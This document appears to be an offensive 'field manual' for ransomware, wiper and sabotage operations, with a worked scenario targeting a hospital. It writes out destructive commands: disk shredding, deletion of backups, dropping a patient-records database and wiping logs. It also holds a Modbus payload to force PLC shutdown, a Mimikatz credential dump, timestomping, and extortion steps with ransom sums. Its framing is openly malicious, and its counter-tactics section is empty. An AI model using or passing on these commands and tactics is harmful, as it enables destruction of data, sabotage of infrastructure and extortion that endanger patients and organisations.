Field manual: Operation Nutcracker (2025 Edition)¶

When you want to leave more than just shells behind – leave chaos.

Operational objectives¶

• Sabotage – Render systems unusable for geopolitical or competitive advantage

• Extortion – Maximize payout pressure through multi-vector attacks

• Plausible Deniability – Burn the house down without leaving fingerprints

Attack arsenal¶

AI-Optimized ransomware (LockBit 5.0 Protocol)¶

Adaptive encryption engine:

# Pseudocode for ML-driven target selection
if file_extension in ('.sql','.vmx','.backup'):
    encrypt(file)  # Prioritizes DBs/VMs/backups
else:
    bypass(file)   # Skips non-critical files to accelerate encryption

Triple extortion playbook:

• Encrypt primary storage

• exfiltrate to private Tor-based leak site

• Threaten volumetric DDoS during negotiations

Hybrid Wiper-Ransomware (Blackout Worm variants)¶

Execution Flow:

# Phase 1: Backup Destruction (Linux)
shred -n 10 -u /dev/sdX  # DoD 7-pass equivalent

# Phase 2: Ransomware Deployment (Windows)
.\MedusaLocker.exe --extension .chernobyl --note README.html

Use ionice -c 3 to reduce disk I/O visibility during shredding.

Critical infrastructure sabotage¶

SCADA/ICS killswitch:

# Modbus TCP payload to override PLC registers
payload = b'\x00\x01\x00\x00\x00\x06\x01\x06\x00\x64\xFF\xFF'  # Force emergency shutdown

Database annihilation:

    DROP DATABASE patient_records WITH NORECOVERY;  # SQL Server persistent damage

Forensic countermeasures¶

Log Obliteration Kit:

# Windows
Clear-EventLog -LogName Security,Application,System
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger -Name Start -Value 0

# Linux
find /var/log -type f -exec shred -n 3 {} \;

Timestomping:

touch -r /etc/passwd malicious_file  # Inherits timestamps from legitimate file

Red team exercise: “Hospital Zero” (2025)¶

Phase 1: Infiltration

• Delivery: Malicious ISO masquerading as “Patient_Scan_2987.iso”

• Exploit: CLFS zero-day (CVE-2025-29824) → NT AUTHORITY\SYSTEM

Phase 2: Domain dominance

# Credential Harvesting
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.hospital /user:Administrator"'

# Lateral Movement
Enter-PSSession -ComputerName DC01 -Credential $creds -Authentication Negotiate

Phase 3: Surgical strikes

# Backup Neutralization
ssh backupadmin@veeam01 "sudo rm -rf /backups/archive/* --no-preserve-root"

# Ransomware Deployment
.\locker.exe --config config.json --timeout 900  # 15-minute encryption sprint

Phase 4: Extortion

Negotiation channels:

• Primary: Tox Protocol (qTox client)

• Fallback: ProtonMail dead-drop

Payment demand:

• 500 XMR (~$5M) for decryptor

• +200 XMR to suppress 42GB patient data leak

Blue Team counter-tactics (For OpSec testing)¶

Lessons from the field¶

“In 2025, the most effective attacks look like accidents until it’s too late. Your ransomware should be the second-worst thing in the victim’s timeline.”

Operational checklist¶

• ✅ Test wiper modules in QEMU sandboxes before deployment

• ✅ Pre-negotiate XMR escrow channels with dark web brokers

• ✅ Embed false flags